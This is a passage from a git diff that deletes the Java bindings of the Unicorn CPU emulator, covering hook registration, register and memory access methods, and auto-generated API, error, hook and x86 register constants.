Unicorn uc_engine* eng returned by uc_open - * @param port I/O Port number - * @param size Data size (1/2/4) to be read from this port - * @return Data supplied from the input port - * @see hook_add, unicorn.InHook - */ - private static int invokeInCallbacks(long eng, int port, int size) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.inList) { - InHook ih = (InHook)p.function; - result = ih.hook(u, port, size, p.data); - } - } - return result; - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 OUT instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param port I/O Port number - * @param size Data size (1/2/4) to be written to this port - * @see hook_add, unicorn.OutHook - */ - private static void invokeOutCallbacks(long eng, int port, int size, int value) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.outList) { - OutHook oh = (OutHook)p.function; - oh.hook(u, port, size, value, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 SYSCALL and SYSENTER instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @see hook_add, unicorn.SyscallHook - */ - private static void invokeSyscallCallbacks(long eng) { - Unicorn u = unicorns.get(eng); - int result = 0; - if (u != null) { - for (Tuple p : u.syscallList) { - SyscallHook sh = (SyscallHook)p.function; - sh.hook(u, p.data); - } - } - } - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value Number containing the new register value - */ - private native void reg_write_num(int regid, Number value) throws UnicornException; - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value X86 specific memory management register containing the new register value - */ - private native void reg_write_mmr(int regid, X86_MMR value) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return Number containing the requested register value. - */ - private native Number reg_read_num(int regid) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return X86_MMR containing the requested register value. - */ - private native Number reg_read_mmr(int regid) throws UnicornException; - -/** - * Native access to uc_open - * - * @param arch Architecture type (UC_ARCH_*) - * @param mode Hardware mode. This is combined of UC_MODE_* - */ - private native long open(int arch, int mode) throws UnicornException; - -/** - * Create a new Unicorn object - * - * @param arch Architecture type (UC_ARCH_*) - * @param mode Hardware mode. This is combined of UC_MODE_* - * @see unicorn.UnicornConst - * - */ - public Unicorn(int arch, int mode) throws UnicornException { - //remember these in case we need arch specific code - this.arch = arch; - this.mode = mode; - eng = open(arch, mode); - unicorns.put(eng, this); - allLists.add(blockList); - allLists.add(intrList); - allLists.add(codeList); - allLists.add(readList); - allLists.add(writeList); - allLists.add(inList); - allLists.add(outList); - allLists.add(syscallList); - } - -/** - * Perform native cleanup tasks associated with a Unicorn object - * - */ - protected void finalize() { - unicorns.remove(eng); - close(); - } - -/** - * Return combined API version & major and minor version numbers. - * - * @return hexadecimal number as (major << 8 | minor), which encodes both major & minor versions. - * - * For example Unicorn version 1.2 whould yield 0x0102 - */ - public native static int version(); - -/** - * Determine if the given architecture is supported by this library. - * - * @param arch Architecture type (UC_ARCH_*) - * @return true if this library supports the given arch. - * @see unicorn.UnicornConst - */ - public native static boolean arch_supported(int arch); - -/** - * Close the underlying uc_engine* eng associated with this Unicorn object - * - */ - public native void close() throws UnicornException; - -/** - * Query internal status of engine. - * - * @param type query type. See UC_QUERY_* - * @param result save the internal status queried - * - * @return: error code. see UC_ERR_* - * @see unicorn.UnicornConst - */ - public native int query(int type) throws UnicornException; - -/** - * Report the last error number when some API function fail. - * Like glibc's errno, uc_errno might not retain its old value once accessed. - * - * @return Error code of uc_err enum type (UC_ERR_*, see above) - * @see unicorn.UnicornConst - */ - public native int errno(); - -/** - * Return a string describing given error code. - * - * @param code Error code (see UC_ERR_* above) - * @return Returns a String that describes the error code - * @see unicorn.UnicornConst - */ - public native static String strerror(int code); - -/** - * Write to register. - * - * @deprecated use reg_write(int regid, Object value) instead - * @param regid Register ID that is to be modified. - * @param value Array containing value that will be written into register @regid - */ -@Deprecated - public native void reg_write(int regid, byte[] value) throws UnicornException; - -/** - * Write to register. - * - * @param regid Register ID that is to be modified. - * @param value Object containing the new register value. Long, BigInteger, or - * other custom class used to represent register values - */ - public void reg_write(int regid, Object value) throws UnicornException { - if (value instanceof Number) { - reg_write_num(regid, (Number)value); - } - else if (arch == UC_ARCH_X86 && value instanceof X86_MMR) { - if (regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { - reg_write_mmr(regid, (X86_MMR)value); - } - } - else { - throw new ClassCastException("Invalid value type"); - } - } - -/** - * Read register value. - * - * @deprecated use Object reg_read(int regid) instead - * @param regid Register ID that is to be retrieved. - * @param regsz Size of the register being retrieved. - * @return Byte array containing the requested register value. - */ -@Deprecated - public native byte[] reg_read(int regid, int regsz) throws UnicornException; - -/** - * Read register value. - * - * @param regid Register ID that is to be retrieved. - * @return Object containing the requested register value. Long, BigInteger, or - * other custom class used to represent register values - */ - public Object reg_read(int regid) throws UnicornException { - if (arch == UC_ARCH_X86 && regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { - return reg_read_mmr(regid); - } - else { - return reg_read_num(regid); - } - } - -/** - * Batch write register values. regids.length == vals.length or UC_ERR_ARG - * - * @param regids Array of register IDs to be written. - * @param vals Array of register values to be written. - */ - public void reg_write_batch(int regids[], Object vals[]) throws UnicornException { - if (regids.length != vals.length) { - throw new UnicornException(strerror(UC_ERR_ARG)); - } - for (int i = 0; i < regids.length; i++) { - reg_write(regids[i], vals[i]); - } - } - -/** - * Batch read register values. - * - * @param regids Array of register IDs to be read. - * @return Array containing the requested register values. - */ - public Object[] reg_read_batch(int regids[]) throws UnicornException { - Object[] vals = new Object[regids.length]; - for (int i = 0; i < regids.length; i++) { - vals[i] = reg_read(regids[i]); - } - return vals; - } - -/** - * Write to memory. - * - * @param address Start addres of the memory region to be written. - * @param bytes The values to be written into memory. bytes.length bytes will be written. - */ - public native void mem_write(long address, byte[] bytes) throws UnicornException; - -/** - * Read memory contents. - * - * @param address Start addres of the memory region to be read. - * @param size Number of bytes to be retrieved. - * @return Byte array containing the contents of the requested memory range. - */ - public native byte[] mem_read(long address, long size) throws UnicornException; - -/** - * Emulate machine code in a specific duration of time. - * - * @param begin Address where emulation starts - * @param until Address where emulation stops (i.e when this address is hit) - * @param timeout Duration to emulate the code (in microseconds). When this value is 0, we will emulate the code in infinite time, until the code is finished. - * @param count The number of instructions to be emulated. When this value is 0, we will emulate all the code available, until the code is finished. - */ - public native void emu_start(long begin, long until, long timeout, long count) throws UnicornException; - -/** - * Stop emulation (which was started by emu_start() ). - * This is typically called from callback functions registered via tracing APIs. - * NOTE: for now, this will stop the execution only after the current block. - */ - public native void emu_stop() throws UnicornException; - -/** - * Hook registration helper for hook types that require no additional arguments. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type); - -/** - * Hook registration helper for hook types that require one additional argument. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @param arg1 Additional varargs argument - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type, int arg1); - -/** - * Hook registration helper for hook types that require two additional arguments. - * - * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object - * @param type UC_HOOK_* hook type - * @param arg1 First additional varargs argument - * @param arg2 Second additional varargs argument - * @return Unicorn uch returned for registered hook function - */ - private native static long registerHook(long eng, int type, long arg1, long arg2); - -/** - * Hook registration for UC_HOOK_BLOCK hooks. The registered callback function will be - * invoked when a basic block is entered and the address of the basic block (BB) falls in the - * range begin <= BB <= end. For the special case in which begin > end, the callback will be - * invoked whenver any basic block is entered. - * - * @param callback Implementation of a BlockHook interface - * @param begin Start address of hooking range - * @param end End address of hooking range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(BlockHook callback, long begin, long end, Object user_data) throws UnicornException { - if (blockHandle == 0) { - blockHandle = registerHook(eng, UC_HOOK_BLOCK, begin, end); - } - blockList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INTR hooks. The registered callback function will be - * invoked whenever an interrupt instruction is executed. - * - * @param callback Implementation of a InterruptHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(InterruptHook callback, Object user_data) throws UnicornException { - if (interruptHandle == 0) { - interruptHandle = registerHook(eng, UC_HOOK_INTR); - } - intrList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_CODE hooks. The registered callback function will be - * invoked when an instruction is executed from the address range begin <= PC <= end. For - * the special case in which begin > end, the callback will be invoked for ALL instructions. - * - * @param callback Implementation of a CodeHook interface - * @param begin Start address of hooking range - * @param end End address of hooking range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(CodeHook callback, long begin, long end, Object user_data) throws UnicornException { - if (codeHandle == 0) { - codeHandle = registerHook(eng, UC_HOOK_CODE, begin, end); - } - codeList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_READ hooks. The registered callback function will be - * invoked whenever a memory read is performed within the address range begin <= read_addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory reads. - * - * @param callback Implementation of a ReadHook interface - * @param begin Start address of memory read range - * @param end End address of memory read range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(ReadHook callback, long begin, long end, Object user_data) throws UnicornException { - if (readHandle == 0) { - readHandle = registerHook(eng, UC_HOOK_MEM_READ, begin, end); - } - readList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_WRITE hooks. The registered callback function will be - * invoked whenever a memory write is performed within the address range begin <= write_addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory writes. - * - * @param callback Implementation of a WriteHook interface - * @param begin Start address of memory write range - * @param end End address of memory write range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(WriteHook callback, long begin, long end, Object user_data) throws UnicornException { - if (writeHandle == 0) { - writeHandle = registerHook(eng, UC_HOOK_MEM_WRITE, begin, end); - } - writeList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_MEM_WRITE | UC_HOOK_MEM_WRITE hooks. The registered callback function will be - * invoked whenever a memory write or read is performed within the address range begin <= addr <= end. For - * the special case in which begin > end, the callback will be invoked for ALL memory writes. - * - * @param callback Implementation of a MemHook interface - * @param begin Start address of memory range - * @param end End address of memory range - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(MemHook callback, long begin, long end, Object user_data) throws UnicornException { - hook_add((ReadHook)callback, begin, end, user_data); - hook_add((WriteHook)callback, begin, end, user_data); - } - -/** - * Hook registration for UC_HOOK_MEM_XXX_UNMAPPED and UC_HOOK_MEM_XXX_PROT hooks. - * The registered callback function will be invoked whenever a read or write is - * attempted from an invalid or protected memory address. - * - * @param callback Implementation of a EventMemHook interface - * @param type Type of memory event being hooked such as UC_HOOK_MEM_READ_UNMAPPED or UC_HOOK_MEM_WRITE_PROT - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(EventMemHook callback, int type, Object user_data) throws UnicornException { - //test all of the EventMem related bits in type - for (Integer htype : eventMemMap.keySet()) { - if ((type & htype) != 0) { //the 'htype' bit is set in type - Long handle = eventMemHandles.get(htype); - if (handle == null) { - eventMemHandles.put(htype, registerHook(eng, htype)); - } - int cbType = eventMemMap.get(htype); - ArrayList flist = eventMemLists.get(cbType); - if (flist == null) { - flist = new ArrayList(); - allLists.add(flist); - eventMemLists.put(cbType, flist); - } - flist.add(new Tuple(callback, user_data)); - } - } - } - -/** - * Hook registration for UC_HOOK_INSN hooks (x86 IN instruction only). The registered callback - * function will be invoked whenever an x86 IN instruction is executed. - * - * @param callback Implementation of a InHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(InHook callback, Object user_data) throws UnicornException { - if (inHandle == 0) { - inHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_IN); - } - inList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INSN hooks (x86 OUT instruction only). The registered callback - * function will be invoked whenever an x86 OUT instruction is executed. - * - * @param callback Implementation of a OutHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(OutHook callback, Object user_data) throws UnicornException { - if (outHandle == 0) { - outHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_OUT); - } - outList.add(new Tuple(callback, user_data)); - } - -/** - * Hook registration for UC_HOOK_INSN hooks (x86 SYSCALL/SYSENTER instruction only). The registered callback - * function will be invoked whenever an x86 SYSCALL or SYSENTER instruction is executed. - * - * @param callback Implementation of a SyscallHook interface - * @param user_data User data to be passed to the callback function each time the event is triggered - */ - public void hook_add(SyscallHook callback, Object user_data) throws UnicornException { - if (syscallHandle == 0) { - syscallHandle = registerHook(eng, UC_HOOK_INSN, Unicorn.UC_X86_INS_SYSCALL); - } - syscallList.add(new Tuple(callback, user_data)); - } - - public void hook_del(Hook hook) throws UnicornException { - for (ArrayList l : allLists) { - for (Tuple t : l) { - if (t.function.equals(hook)) { - allLists.remove(t); - return; - } - } - } - } - -/** - * Map a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - */ - public native void mem_map(long address, long size, int perms) throws UnicornException; - -/** - * Map existing host memory in for emulation. - * This API adds a memory region that can be used by emulation. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms Permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - * @param ptr Block of host memory backing the newly mapped memory. This block is - * expected to be an equal or larger size than provided, and be mapped with at - * least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. - */ - public native void mem_map_ptr(long address, long size, int perms, byte[] block) throws UnicornException; - -/** - * Unmap a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - */ - public native void mem_unmap(long address, long size) throws UnicornException; - -/** - * Change permissions on a range of memory. - * - * @param address Base address of the memory range - * @param size Size of the memory block. - * @param perms New permissions on the memory block. A combination of UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC - */ - public native void mem_protect(long address, long size, int perms) throws UnicornException; - -/** - * Retrieve all memory regions mapped by mem_map() and mem_map_ptr() - * NOTE: memory regions may be split by mem_unmap() - * - * @return list of mapped regions. -*/ - public native MemRegion[] mem_regions() throws UnicornException; - -/** - * Allocate a region that can be used with uc_context_{save,restore} to perform - * quick save/rollback of the CPU context, which includes registers and some - * internal metadata. Contexts may not be shared across engine instances with - * differing arches or modes. - * - * @return context handle for use with save/restore. -*/ - public native long context_alloc(); - -/** - * Free a resource allocated within Unicorn. Use for handles - * allocated by context_alloc. - * - * @param Previously allocated Unicorn object handle. -*/ - public native void free(long handle); - -/** - * Save a copy of the internal CPU context. - * This API should be used to efficiently make or update a saved copy of the - * internal CPU state. - * - * @param context handle previously returned by context_alloc. -*/ - public native void context_save(long context); - -/** - * Restore the current CPU context from a saved copy. - * This API should be used to roll the CPU context back to a previous - * state saved by uc_context_save(). - * - * @param context handle previously returned by context_alloc. -*/ - public native void context_restore(long context); - - /** - * Set the emulated cpu model. - * - * @param cpu_model CPU model type (see UC_CPU_*). -*/ - public native void ctl_set_cpu_model(int cpu_model); -} - diff --git a/bindings/java/unicorn/UnicornConst.java b/bindings/java/unicorn/UnicornConst.java deleted file mode 100644 index afd0580e7e..0000000000 --- a/bindings/java/unicorn/UnicornConst.java +++ /dev/null @@ -1,152 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface UnicornConst { - public static final int UC_API_MAJOR = 2; - - public static final int UC_API_MINOR = 0; - public static final int UC_API_PATCH = 2; - public static final int UC_API_EXTRA = 1; - public static final int UC_VERSION_MAJOR = 2; - - public static final int UC_VERSION_MINOR = 0; - public static final int UC_VERSION_PATCH = 2; - public static final int UC_VERSION_EXTRA = 1; - public static final int UC_SECOND_SCALE = 1000000; - public static final int UC_MILISECOND_SCALE = 1000; - public static final int UC_ARCH_ARM = 1; - public static final int UC_ARCH_ARM64 = 2; - public static final int UC_ARCH_MIPS = 3; - public static final int UC_ARCH_X86 = 4; - public static final int UC_ARCH_PPC = 5; - public static final int UC_ARCH_SPARC = 6; - public static final int UC_ARCH_M68K = 7; - public static final int UC_ARCH_RISCV = 8; - public static final int UC_ARCH_S390X = 9; - public static final int UC_ARCH_TRICORE = 10; - public static final int UC_ARCH_MAX = 11; - - public static final int UC_MODE_LITTLE_ENDIAN = 0; - public static final int UC_MODE_BIG_ENDIAN = 1073741824; - - public static final int UC_MODE_ARM = 0; - public static final int UC_MODE_THUMB = 16; - public static final int UC_MODE_MCLASS = 32; - public static final int UC_MODE_V8 = 64; - public static final int UC_MODE_ARMBE8 = 1024; - public static final int UC_MODE_ARM926 = 128; - public static final int UC_MODE_ARM946 = 256; - public static final int UC_MODE_ARM1176 = 512; - public static final int UC_MODE_MICRO = 16; - public static final int UC_MODE_MIPS3 = 32; - public static final int UC_MODE_MIPS32R6 = 64; - public static final int UC_MODE_MIPS32 = 4; - public static final int UC_MODE_MIPS64 = 8; - public static final int UC_MODE_16 = 2; - public static final int UC_MODE_32 = 4; - public static final int UC_MODE_64 = 8; - public static final int UC_MODE_PPC32 = 4; - public static final int UC_MODE_PPC64 = 8; - public static final int UC_MODE_QPX = 16; - public static final int UC_MODE_SPARC32 = 4; - public static final int UC_MODE_SPARC64 = 8; - public static final int UC_MODE_V9 = 16; - public static final int UC_MODE_RISCV32 = 4; - public static final int UC_MODE_RISCV64 = 8; - - public static final int UC_ERR_OK = 0; - public static final int UC_ERR_NOMEM = 1; - public static final int UC_ERR_ARCH = 2; - public static final int UC_ERR_HANDLE = 3; - public static final int UC_ERR_MODE = 4; - public static final int UC_ERR_VERSION = 5; - public static final int UC_ERR_READ_UNMAPPED = 6; - public static final int UC_ERR_WRITE_UNMAPPED = 7; - public static final int UC_ERR_FETCH_UNMAPPED = 8; - public static final int UC_ERR_HOOK = 9; - public static final int UC_ERR_INSN_INVALID = 10; - public static final int UC_ERR_MAP = 11; - public static final int UC_ERR_WRITE_PROT = 12; - public static final int UC_ERR_READ_PROT = 13; - public static final int UC_ERR_FETCH_PROT = 14; - public static final int UC_ERR_ARG = 15; - public static final int UC_ERR_READ_UNALIGNED = 16; - public static final int UC_ERR_WRITE_UNALIGNED = 17; - public static final int UC_ERR_FETCH_UNALIGNED = 18; - public static final int UC_ERR_HOOK_EXIST = 19; - public static final int UC_ERR_RESOURCE = 20; - public static final int UC_ERR_EXCEPTION = 21; - public static final int UC_MEM_READ = 16; - public static final int UC_MEM_WRITE = 17; - public static final int UC_MEM_FETCH = 18; - public static final int UC_MEM_READ_UNMAPPED = 19; - public static final int UC_MEM_WRITE_UNMAPPED = 20; - public static final int UC_MEM_FETCH_UNMAPPED = 21; - public static final int UC_MEM_WRITE_PROT = 22; - public static final int UC_MEM_READ_PROT = 23; - public static final int UC_MEM_FETCH_PROT = 24; - public static final int UC_MEM_READ_AFTER = 25; - - public static final int UC_TCG_OP_SUB = 0; - public static final int UC_TCG_OP_FLAG_CMP = 1; - public static final int UC_TCG_OP_FLAG_DIRECT = 2; - public static final int UC_HOOK_INTR = 1; - public static final int UC_HOOK_INSN = 2; - public static final int UC_HOOK_CODE = 4; - public static final int UC_HOOK_BLOCK = 8; - public static final int UC_HOOK_MEM_READ_UNMAPPED = 16; - public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32; - public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64; - public static final int UC_HOOK_MEM_READ_PROT = 128; - public static final int UC_HOOK_MEM_WRITE_PROT = 256; - public static final int UC_HOOK_MEM_FETCH_PROT = 512; - public static final int UC_HOOK_MEM_READ = 1024; - public static final int UC_HOOK_MEM_WRITE = 2048; - public static final int UC_HOOK_MEM_FETCH = 4096; - public static final int UC_HOOK_MEM_READ_AFTER = 8192; - public static final int UC_HOOK_INSN_INVALID = 16384; - public static final int UC_HOOK_EDGE_GENERATED = 32768; - public static final int UC_HOOK_TCG_OPCODE = 65536; - public static final int UC_HOOK_TLB_FILL = 131072; - public static final int UC_HOOK_MEM_UNMAPPED = 112; - public static final int UC_HOOK_MEM_PROT = 896; - public static final int UC_HOOK_MEM_READ_INVALID = 144; - public static final int UC_HOOK_MEM_WRITE_INVALID = 288; - public static final int UC_HOOK_MEM_FETCH_INVALID = 576; - public static final int UC_HOOK_MEM_INVALID = 1008; - public static final int UC_HOOK_MEM_VALID = 7168; - public static final int UC_QUERY_MODE = 1; - public static final int UC_QUERY_PAGE_SIZE = 2; - public static final int UC_QUERY_ARCH = 3; - public static final int UC_QUERY_TIMEOUT = 4; - - public static final int UC_CTL_IO_NONE = 0; - public static final int UC_CTL_IO_WRITE = 1; - public static final int UC_CTL_IO_READ = 2; - public static final int UC_CTL_IO_READ_WRITE = 3; - - public static final int UC_TLB_CPU = 0; - public static final int UC_TLB_VIRTUAL = 1; - - public static final int UC_CTL_UC_MODE = 0; - public static final int UC_CTL_UC_PAGE_SIZE = 1; - public static final int UC_CTL_UC_ARCH = 2; - public static final int UC_CTL_UC_TIMEOUT = 3; - public static final int UC_CTL_UC_USE_EXITS = 4; - public static final int UC_CTL_UC_EXITS_CNT = 5; - public static final int UC_CTL_UC_EXITS = 6; - public static final int UC_CTL_CPU_MODEL = 7; - public static final int UC_CTL_TB_REQUEST_CACHE = 8; - public static final int UC_CTL_TB_REMOVE_CACHE = 9; - public static final int UC_CTL_TB_FLUSH = 10; - public static final int UC_CTL_TLB_FLUSH = 11; - public static final int UC_CTL_TLB_TYPE = 12; - - public static final int UC_PROT_NONE = 0; - public static final int UC_PROT_READ = 1; - public static final int UC_PROT_WRITE = 2; - public static final int UC_PROT_EXEC = 4; - public static final int UC_PROT_ALL = 7; - -} diff --git a/bindings/java/unicorn/WriteHook.java b/bindings/java/unicorn/WriteHook.java deleted file mode 100644 index ee0f79c417..0000000000 --- a/bindings/java/unicorn/WriteHook.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -public interface WriteHook extends Hook { - - public void hook(Unicorn u, long address, int size, long value, Object user); - -} - diff --git a/bindings/java/unicorn/X86Const.java b/bindings/java/unicorn/X86Const.java deleted file mode 100644 index 7054f787ba..0000000000 --- a/bindings/java/unicorn/X86Const.java +++ /dev/null @@ -1,1634 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface X86Const { - -// X86 CPU - - public static final int UC_CPU_X86_QEMU64 = 0; - public static final int UC_CPU_X86_PHENOM = 1; - public static final int UC_CPU_X86_CORE2DUO = 2; - public static final int UC_CPU_X86_KVM64 = 3; - public static final int UC_CPU_X86_QEMU32 = 4; - public static final int UC_CPU_X86_KVM32 = 5; - public static final int UC_CPU_X86_COREDUO = 6; - public static final int UC_CPU_X86_486 = 7; - public static final int UC_CPU_X86_PENTIUM = 8; - public static final int UC_CPU_X86_PENTIUM2 = 9; - public static final int UC_CPU_X86_PENTIUM3 = 10; - public static final int UC_CPU_X86_ATHLON = 11; - public static final int UC_CPU_X86_N270 = 12; - public static final int UC_CPU_X86_CONROE = 13; - public static final int UC_CPU_X86_PENRYN = 14; - public static final int UC_CPU_X86_NEHALEM = 15; - public static final int UC_CPU_X86_WESTMERE = 16; - public static final int UC_CPU_X86_SANDYBRIDGE = 17; - public static final int UC_CPU_X86_IVYBRIDGE = 18; - public static final int UC_CPU_X86_HASWELL = 19; - public static final int UC_CPU_X86_BROADWELL = 20; - public static final int UC_CPU_X86_SKYLAKE_CLIENT = 21; - public static final int UC_CPU_X86_SKYLAKE_SERVER = 22; - public static final int UC_CPU_X86_CASCADELAKE_SERVER = 23; - public static final int UC_CPU_X86_COOPERLAKE = 24; - public static final int UC_CPU_X86_ICELAKE_CLIENT = 25; - public static final int UC_CPU_X86_ICELAKE_SERVER = 26; - public static final int UC_CPU_X86_DENVERTON = 27; - public static final int UC_CPU_X86_SNOWRIDGE = 28; - public static final int UC_CPU_X86_KNIGHTSMILL = 29; - public static final int UC_CPU_X86_OPTERON_G1 = 30; - public static final int UC_CPU_X86_OPTERON_G2 = 31; - public static final int UC_CPU_X86_OPTERON_G3 = 32; - public static final int UC_CPU_X86_OPTERON_G4 = 33; - public static final int UC_CPU_X86_OPTERON_G5 = 34; - public static final int UC_CPU_X86_EPYC = 35; - public static final int UC_CPU_X86_DHYANA = 36; - public static final int UC_CPU_X86_EPYC_ROME = 37; - public static final int UC_CPU_X86_ENDING = 38; - -// X86 registers - - public static final int UC_X86_REG_INVALID = 0; - public static final int UC_X86_REG_AH = 1; - public static final int UC_X86_REG_AL = 2; - public static final int UC_X86_REG_AX = 3; - public static final int UC_X86_REG_BH = 4; - public static final int UC_X86_REG_BL = 5; - public static final int UC_X86_REG_BP = 6; - public static final int UC_X86_REG_BPL = 7; - public static final int UC_X86_REG_BX = 8; - public static final int UC_X86_REG_CH = 9; - public static final int UC_X86_REG_CL = 10; - public static final int UC_X86_REG_CS = 11; - public static final int UC_X86_REG_CX = 12; - public static final int UC_X86_REG_DH = 13; - public static final int UC_X86_REG_DI = 14; - public static final int UC_X86_REG_DIL = 15; - public static final int UC_X86_REG_DL = 16; - public static final int UC_X86_REG_DS = 17; - public static final int UC_X86_REG_DX = 18; - public static final int UC_X86_REG_EAX = 19; - public static final int UC_X86_REG_EBP = 20; - public static final int UC_X86_REG_EBX = 21; - public static final int UC_X86_REG_ECX = 22; - public static final int UC_X86_REG_EDI = 23; - public static final int UC_X86_REG_EDX = 24; - public static final int UC_X86_REG_EFLAGS = 25; - public static final int UC_X86_REG_EIP = 26; - public static final int UC_X86_REG_ES = 28; - public static final int UC_X86_REG_ESI = 29; - public static final int UC_X86_REG_ESP = 30; - public static final int UC_X86_REG_FPSW = 31; - public static final int UC_X86_REG_FS = 32; - public static final int UC_X86_REG_GS = 33; - public static final int UC_X86_REG_IP = 34; - public static final int UC_X86_REG_RAX = 35; - public static final int UC_X86_REG_RBP = 36; - public static final int UC_X86_REG_RBX = 37; - public static final int UC_X86_REG_RCX = 38; - public static final int UC_X86_REG_RDI = 39; - public static final int UC_X86_REG_RDX = 40; - public static final int UC_X86_REG_RIP = 41; - public static final int UC_X86_REG_RSI = 43; - public static final int UC_X86_REG_RSP = 44; - public static final int UC_X86_REG_SI = 45; - public static final int UC_X86_REG_SIL = 46; - public static final int UC_X86_REG_SP = 47; - public static final int UC_X86_REG_SPL = 48; - public static final int UC_X86_REG_SS = 49; - public static final int UC_X86_REG_CR0 = 50; - public static final int UC_X86_REG_CR1 = 51; - public static final int UC_X86_REG_CR2 = 52; - public static final int UC_X86_REG_CR3 = 53; - public static final int UC_X86_REG_CR4 = 54; - public static final int UC_X86_REG_CR8 = 58; - public static final int UC_X86_REG_DR0 = 66; - public static final int UC_X86_REG_DR1 = 67; - public static final int UC_X86_REG_DR2 = 68; - public static final int UC_X86_REG_DR3 = 69; - public static final int UC_X86_REG_DR4 = 70; - public static final int UC_X86_REG_DR5 = 71; - public static final int UC_X86_REG_DR6 = 72; - public static final int UC_X86_REG_DR7 = 73; - public static final int UC_X86_REG_FP0 = 82; - public static final int UC_X86_REG_FP1 = 83; - public static final int UC_X86_REG_FP2 = 84; - public static final int UC_X86_REG_FP3 = 85; - public static final int UC_X86_REG_FP4 = 86; - public static final int UC_X86_REG_FP5 = 87; - public static final int UC_X86_REG_FP6 = 88; - public static final int UC_X86_REG_FP7 = 89; - public static final int UC_X86_REG_K0 = 90; - public static final int UC_X86_REG_K1 = 91; - public static final int UC_X86_REG_K2 = 92; - public static final int UC_X86_REG_K3 = 93; - public static final int UC_X86_REG_K4 = 94; - public static final int UC_X86_REG_K5 = 95; - public static final int UC_X86_REG_K6 = 96; - public static final int UC_X86_REG_K7 = 97; - public static final int UC_X86_REG_MM0 = 98; - public static final int UC_X86_REG_MM1 = 99; - public static final int UC_X86_REG_MM2 = 100; - public static final int UC_X86_REG_MM3 = 101; - public static final int UC_X86_REG_MM4 = 102; - public static final int UC_X86_REG_MM5 = 103; - public static final int UC_X86_REG_MM6 = 104; - public static final int UC_X86_REG_MM7 = 105; - public static final int UC_X86_REG_R8 = 106; - public static final int UC_X86_REG_R9 = 107; - public static final int UC_X86_REG_R10 = 108; - public static final int UC_X86_REG_R11 = 109; - public static final int UC_X86_REG_R12 = 110; - public static final int UC_X86_REG_R13 = 111; - public static final int UC_X86_REG_R14 = 112; - public static final int UC_X86_REG_R15 = 113; - public static final int UC_X86_REG_ST0 = 114; - public static final int UC_X86_REG_ST1 = 115; - public static final int UC_X86_REG_ST2 = 116; - public static final int UC_X86_REG_ST3 = 117; - public static final int UC_X86_REG_ST4 = 118; - public static final int UC_X86_REG_ST5 = 119; - public static final int UC_X86_REG_ST6 = 120; - public static final int UC_X86_REG_ST7 